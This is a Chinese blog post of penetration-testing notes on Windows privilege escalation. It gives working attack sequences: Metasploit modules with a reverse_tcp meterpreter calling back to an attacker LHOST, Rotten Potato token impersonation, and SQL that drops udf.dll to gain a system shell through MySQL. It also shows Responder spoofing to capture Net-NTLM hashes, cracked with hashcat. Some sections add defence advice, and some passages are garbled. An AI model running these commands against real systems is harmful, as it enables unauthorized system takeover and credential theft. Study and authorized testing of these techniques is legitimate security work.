内网渗透第4章-权限提升(windwos)

1.内核溢出漏洞提权

利用Metasploit发现缺失补丁

2.Windows操作系统配置错误利用分析及防范

系统服务权限配置错误

Windows系统服务文件在操作系统启动时加载和执行,并在后台调用可执行文件。因此,如果一个低权限的用户对此类系统服务调用的可执行文件拥有写权限,就可以将该文件替换成任意可执行文件,并随着系统服务的启动获得系统权限。Windows服务是以System权限运行的,因此,其文件夹、文件和注册表键值都是受强访问控制机制保护的。但是,在某些情况下,操作系统中仍然存在一些没有得到有效保护的服务。

系统服务权限配置错误(可写目录漏洞)有如下两种可能。

  • 服务未运行:攻击者会使用任意服务替换原来的服务,然后重启服务。
  • 服务正在运行且无法被终止:这种情况符合绝大多数的漏洞利用场景,攻击者通常会利用DLL劫持技术并尝试重启服务来提权。

Metasploit下的实战利用

在Metasploit中,对应的利用模块是service _permissions。选择“AGGRESSIVE”选项,可以利用目标机器上每一个有缺陷的服务。该选项被禁用时,该模块在第一次提权成功后就会停止工作

执行“run”命令,会自动反弹一个新的meterpreter ( System权限)

service_permissions模块使用两种方法来获得System权限:如果meterpreter 以管理员权限运行,该模块会尝试创建并运行一个新的服务;如果当前权限不允许创建服务,该模块会判断哪些服务的文件或者文件夹的权限有问题,并允许对其进行劫持。在创建服务或者劫持已经存在的服务时,该模块会创建一个可执行程序,其文件名和安装路径都是随机的。

注册表键AlwaysInstallElevated

注册表键AlwaylanalElvated是一个策略设置项。Windows 允许低权限用户以System权限运行安装文件。如果启用此策略设置项,那么任何权限的用户都能以NT AUTHORITY\SYSTEM权限来安装恶意的MSI文件。

可以利用Metasploit的 exploiexploit/windows/local/always_install_elevated模块完成以上操作。使用该模块并设置会话参数,输入“run”命令,会返回一个System权限的meterpreter。该模块会创建一个文件名随机的MSI文件,并在提权后删除所有已部署的文件。
只要禁用注册表键AlwaysInstallElevated,就可以阻止攻击者通过MSI文件进行提权。

可信任服务路径漏洞

可信任服务路径(包含空格且没有引号的路径)漏洞利用了Windows 文件路径解析的特性并涉及服务路径的文件/文件夹权限(存在缺陷的服务程序利用了属于可执行文件的文件/文件夹的权限)。如果-个服 务调用的可执行 文件没有正确地处理所引用的完整路径名, 这个漏洞就会被攻击者用来上传任意可执行文件。也就是说,如果一个服务 的可执行文件的路径没有被双引号引起来且包含空格,那么这个服务就是有漏洞的

该漏洞存在如下两种可能

  •     如果路径与服务有关,就任意创建一个服务或者编译Sericce模板。
  •     如果路径与可执行文件有关,就任意创建个可执行文件

Trusted Service Paths漏洞产生的原因

因为windows服务通常都是以System权限运行的,所以系统在解析服务所对应的文件路径中的空格时,也会以系统权限进行。
例如,有一个文件路径"C:\Program Files\ Some Folder\Service.exe",对于该路径中的每一个空格,Windows 都会尝试寻找并执行与空格前面的名字相匹配的程序。操作系统会对路径中空格的所有可能情况进行尝试,直至找到一个能够匹配的程序。
在本例中,Windows 会依次尝试确

    C:\Program.exe
    C:\Program Files\ Some.exe
    C:\Program Files\ Some Folder\Service.exe

因此,如果一个被“适当”命名的可执行程序被上传到可受影响的目录中,服务一旦重启,该程序就会以Syten权限运行(在大多数情况下)

Metasploit 下的实战利用

使用msf中的WINDOWS Service Trusted Path Privilege Escalation模块进行渗透测试。该模块会将可执行程序放到受影响的文件夹中,然后讲受影响的服务重启

msf6 > use exploit/windows/local/unquoted_service_path
[*] Using configured payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/local/unquoted_service_path) > set SESSION 5
SESSION => 5
msf6 exploit(windows/local/unquoted_service_path) > set LHOST 1.1.1.5
LHOST => 1.1.1.5
msf6 exploit(windows/local/unquoted_service_path) > run    #命令执行后,反弹一个meterpreter,但是反弹的会很快终端,需迁移进程

命令执行后,会自动反弹一个新的meterpreter。再次查询权限,显示提权成功,需要注意的是,反弹的meterpreter 会很快中断,这是因为当一个进程在Windows操作系统中启动后,必须与服务控制管理器进行通信,如果没有进行通信,服务控制管理器会认为出现了错误,进而终止这个进程。在渗透测试中,需要在终止载荷进程之前将它迁移到其他进程中(可以使用“set AutoRunScript migrate -f”命令自动迁移进程)。

自动安装配置文件

网络管理员在内网中给多台机器配置同一个环境时,通常不会逐台配置,而会使用脚本化批量部署的方法。在这一过程中,会使用安装配置文件。这些文件中包含所有的安装配置信息,其中的一些还可能包含本地管理员账号和密码等信息。这些文件列举如下(可以对整个系统进行检查)

  • C:\sysprep.inf
  • C:\sysprep\sysprep.xml

Metasploit集成了该漏洞的利用模块post/windows/gather/enum_unattend

计划任务

AccessChk 是SysInterals套件中的一个工具,由Mark Russinovich编写,用于在Windows中进行一些系统或程序的高级查询、管理和故障排除工作,下载地址见[链接4-6]。基于杀毒软件的检测等,攻击者会尽量避免接触目标机器的磁盘。而 AccessChk 是微软官方提供的工具,一般不会引起杀毒软件的报警,所以经常会被攻击者利用。
执行如下命令,查看指定目录的权限配置情况。如果攻击者对以高权限运行的任务所在的目录具有写权限,就可以使用恶意程序覆盖原来的程序。这样,在计划任务下次执行时,就会以高权限来运行恶意程序。

组策略首选项提权分析及防范

SYSVOL是活动目录里面的一个用于存储域公共文件服务器副本的共享文件夹,在域中的所有域控制器之间进行复制。SYSVOL文件夹是在安装活动目录时自动创建的,主要用来存放登录脚本、组策略数据及其他域控制器需要的域信息等。SYSVOL在所有经过身份验证的域用户或者域信任用户具有读权限的活动目录的域范围内共享。整个SYsVOL目录在所有的域控制器中是自动同步和共享的,所有的域策略均存放在C:Windows\SYSVOL\DOMAIN\Policicsl目录中。

在一般的域外现中,所月机宿都是脚本化批量部署的,数据量通常很大。为了方便地对所有的机器进仃探IP,的上符胡比工公使用域策略进行统一的配置和管理。大多数组织在创建域环境后,会要求加入域的计算机使用域用户密码进行登录验证。为了保证本地管理员密码的安全性,这些组织的网络管理员修改本地管理员密码。尽管如此,安全问题依旧存在。通过组策略统一修改的密码,虽然强度有所提高,但所有机器的本地管理员密码是相同的。攻击者获得了一台机器的本地管理员密码,就相当于获得了整个域中所有机器的本地管理员密码。

常见的组策略首选项(Group Policy Preferences,GPP)列举如下

  •     映射驱动器(Drives.xml )。
  •     创建本地用户。
  •     数据源(DataSources.xml )
  •     打印机配置(Printers.xml )
  •     创建/更新服务((Services.xml )
  •     计划任务(ScheduledTasks.xml )
     

绕过UAC提权分析及防范

如果计算机的操作系统版本是Windows Vista或更高,在权限不够的情况下,访问系统磁盘的根目录(例如C:) Windows目录、Program Files目录,以及读、写系统登录数据库(Registry)的程序等操作,都需要经讨UAC (User Account Control,用户账户控制)的认证才能进行。

UAC简介

UAC是微软为提高系统安全性在Windows Vista中引入的技术。UAC要求用户在执行可能影响计算机运行的操作或者在进行可能影响其他用户的设置之前,拥有相应的权限或者管理员密码。UAC在操作启动前对用户身份进行验证,以避免思意软件和间谍软件在未经许可的情况下在计算机上进行安装操作或者对计算机设詈进行更改。在Windows Vista及更高版本的操作系统中,微软设置了安全控制策略,分为高、中、低三个等级。高等级的进程有管理员权限,中等级的进程有普通用户权限;低等级的进程,权限是有限的,以保证系统在受到安全威胁的损害最小。

需要UAC的授权才能进行的操作列举如下

  •     配置Windows Update。
  •     增加/删除账户。
  •     更改账户类型。
  •     更改UAC的设置。
  •     安装ActiveX。
  •     安装/御载程序。
  •     安装设备驱动程序。
  •     将文件移动/复制到Program Files或Windows目录下。
  •     查看其他用户的文件夹。

UAC有如下四种设置要求。

  1.     始终通知:这是最严格的设置,每当有程序需要使用高级别的权限时都会提示本地用户。
  2.     仅在程序试图更改我的计算机时通知我:这是UAC的默认设置。当本地 Windows程序要使用高级别的权限时,不会通知用户。但是,当第三方程序要使用高级别的权限时,会提示本地用户。
  3.     仅在程序试图更改我的计算机时通知我(不降低桌面的亮度):与上一条设置的要求相同,但在提示用户时不降低桌面的亮度。
  4. 从不提示:当用户为系统管理员时,所有程序都会以最高权限运行

bypassuac模块

假设通过一系列前期渗透测试,已经获得了目标机器的meterpreter Shell。当前权限为普通用户权限,现在尝试获取系统的System权限。
首先,运行exploit/windows/localbypassuac模块,获得一个新的meterpreter Shell,如图4-48所示。然后,执行“getsystem”命令。再次查看权限,发现已经绕过UAC,获得了System权限,如图4-49所示。
在使用bypassuac模块进行提权时,当前用户必须在管理员组中,且UAC必须为默认设置(即“仅在程序试图更改我的计算机时通知我”)。
当bypassuac模块运行时,会在目标机器上创建多个文件,这些文件会被杀毒软件识别。但因为exploit/windows/local/bypassuac_injection模块直接运行在内存的反射DLL中,所以不会接触目标机器的硬盘,从而降低了被杀毒软件检测出来的概率。
Metasploit框架没有提供针对Windows 8的渗透测试模块。

 防御

  1. 在企业网络环境中,防止绕过UAC的最好的方法是不让内网机器的使用者拥有本地管理员权限,从而降低系统遭受攻击的可能性。
  2. 在家庭网络环境中,建议使用非管理员权限进行日常办公和娱乐等活动。使用本地管理员权限登录的用户,要将UAC设置为“始终通知”或者删除该用户的本地管理员权限(这样设置后,会像在 Windows Vista中一样,总是弹出警告)。
  3. 另外,可以使用微软的EMET 或MalwareBytes来更好地防范0day漏洞。
     

令牌窃取分析及防范

1.假冒用户令牌

假设已经获得了目标机器的 meterpreter Shell。首先输入“use incognito”命令,然后输入"list_tokens -u”命令,列出可用的令牌,如图4-60所示。

接下来,在incognito 中调用impersonate_token,假冒Administrator用户进行渗透测试。在meterpreter Shell 中执行“shell”命令并输入“whoami”,假冒的令牌win-57tj4b561mtladministrator已经获得系统管理员权限了,如图4-61所示。

2.Rotten Potato本地提权分析

简介:

通过烂土豆提权的重点是模拟令牌,在提权的过程中,我们最好已经获得了一个具有SeImpersonate权限或其他同等权限的账户,通常Windows中的许多服务具有此权限(IIS和SQL Server等)

如果目标系统中存在有效的令牌,可以通过Rotten Potato程序快速模拟用户令牌来实现权限的提升。首先输入“use incognito”命令,然后输入“list_tokens -u”命令,列出可用的令牌

下载完成后,RottenPotato目录下会有一个rottenpotato.exe可执行文件。执行如下命令,将 rottenpotatocxe上传列日标机器中

提权条件:

1.已经获得了一个具有SeImpersonate权限或其他同等权限的账户

2.目标系统中存在有效的令牌

提权过程:

meterpreter > upload /home/kali/Downloads/rottenpotato.exe
meterpreter > use incognito 
meterpreter > list_tokens -u        #列出令牌
meterpreter > execute -HC -f rottenpotato.exe 
meterpreter > impersonate_token "NT AUTHORITY\SYSTEM"

 针对令牌动取提权的防御措施针对令牌窃取提权的防御措施如下

  • 及时安装微软推送的补丁。
  • 对来路不明的或者有危险的软件,既不要在系统中使用,也不要在虚拟机中使用。
  • 对令牌的时效性进行限制,以防止散列值被破解后泄露有效的令牌信息。越敏感的数据,其令牌时效应该越短。如果每个操作都使用独立的令牌,就可以比较容易地定位泄露令牌的操作或环节。
  • 对于令牌,应采取加密存储及多重验证保护。
  • 使用加密链路SSL/TLS传输令牌,以防止被中间人窃听。
     

Mysql-UDF提权

简介

UDF介绍:User Defined
Functions简称UDF,通俗来讲就是用户可自定义函数。udf提权就是利用到创建自定义函数(sys_eval),在mysql中调用这个自定义的函数(sys_eval)来实现获取对方主机的system的shell权限,从而达到提权的目的。
简单来说便是利用提权脚本放到对方mysql指定的目录下,运用脚本创建自定义函数,使用函数即可获取shell权限。
我们需要将duf.dll文件放入C:\phpStudy\MySQL\lib\plugin,前面路劲可能跟我不一样,但是需要做的就是将dll文件放入\lib\plugin目录中

Mysql版本大于5.1版本:udf.dll文件必须放置于MYSQL安装目录下的lib\plugin文件夹下。
Mysql版本小于5.1版本: udf.dll文件在Windows2003下放置于c:\windows\system32,
在windows2000下放置于c:\winnt\system32。
如果目录不存在则利用NTFS数据流创建文件目录

提权条件 

1)获取到对方mysql的shell,或者是获取到mysql账号密码,能够调用mysql语句
2)对方mysql具有insert和delete权限,也就是可写可删除添加能够创建目录,写入文件
验证是否可写:

show global variables like 'secure%';  #值为空即可写入

 熟悉对方mysql目录结构,以及主机型号,以便使用不同的脚本
查看主机架构,以便确认操作系统位数,使用不同的udf.dll脚本

 确定mysql目录结构,搜索我们需要的目录位置
查看plugin目录位置

show variables like 'plugin%'; #查找具体目录
select @@basedir;#查看mysql目录

 

 提权脚本我在这里简称udf.dll
在kali里面自带udf提权脚本,并且有32位与64位版本,使用只需要将文件导出使用即可
目录位置

/usr/share/metasploit-framework/data/exploits/mysql

 

提权步骤 

方法1
1.将文件放入\lib\plugin目录下getshell工具连接,将文件放入指定位置
2.使用mysql终端,创建自定义函数sys_eval
create function sys_eval returns string soname ‘udf.dll’;

方法2.数据库创建目录,并且导入文件

create table temp(data longblob);  #以二进制数据流容器longblob创建临时data表
insert into temp(data) values (unhex('udf文件的16进制格式')); 将udf.dll脚本的十六进制写入data表
select data from temp into dumpfile "xxx\\xxx\\lib\\plugin\\udf.dll";#将udf文件导入到指定目录
create function sys_eval returns string soname 'udf.dll';   #创建自定义函数sys_eval

 调用脚本创建sys_eval函数,验证提权

 

无凭证条件下的权限获取分析及防范

LLMNR和 NetBIOS欺骗攻击分析

假设目标网络的 DNS服务器因发生故障而无法提供服务时,会退回 LLMNR和 NBT-NS进行计算机名解析。下面使用Responder 工具进行渗透测试。
Responder 是监听 LLMNR和 NBT-NS协议的工具之一,能够抓取网络中所有的 LLMNR和NBT-NS 请求并进行响应,获取最初的账户凭证。
Responder可以利用内置SMB认证服务器、MSSQL认证服务器、HTTP认证服务器、HTTPS认证服务器、LDAP认证服务器、DNS服务器、WPAD代理服务器,以及FTP、POP3、IMAP、SMTP等服务器,收集目标网络中计算机的凭据,还可以通过Multi-Relay 功能在目标系统中执行命令。
下载和运行
Responder是使用Python语言编写的。

git clone https://github.com/SpiderLabs/Responder.git
┌──(root💀kali)-[/home/kali]
└─# responder -I eth0

 渗透测试

在使用 Responder对网络进行分析之后可以利用SMB协议获取目标网络中计算机的 Net-NTLM Hash。如果用户输入了错误的计算机名在DNS服务器上进行的名称查询操作将会失败,名称解析请求将被退回,使用NBT-NS和LLMNR进行解析。

在渗透测试中,使用Responder 开启回应请求功能,Responuer会自动回应客户端的请求并声明自己就是被输人了错误计算机名的那台机器,然石尝试建立SMB连接。客户端项发送自已的Nt-NTeLM Hash进行身份验证,此时将得到目标机器的Net-NTLM Hash

 

 使用hashcat进行破解

hashcat -m 5600 q::WIN7:524fa9048b91226c:A78B9944E2BCB793E02A78511A370527:01010000000000009AA13A40DDD9D60164D36B5FEDF5E086000000000200060053004D0042000100160053004D0042002D0054004F004F004C004B00490054000400120073006D0062002E006C006F00630061006C000300280073006500720076006500720032003000300033002E0073006D0062002E006C006F00630061006C000500120073006D0062002E006C006F00630061006C000800300030000000000000000100000000200000EBE62023381C3BC8F579B7C0DC4B836449D20887CC0365A21217FB41FBB0F3040A001000000000000000000000000000000000000900180048005400540050002F0031002E0031002E0031002E0035000000000000000000 p.txt

 

  • 2
    点赞
  • 23
    收藏
    觉得还不错? 一键收藏
  • 4
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值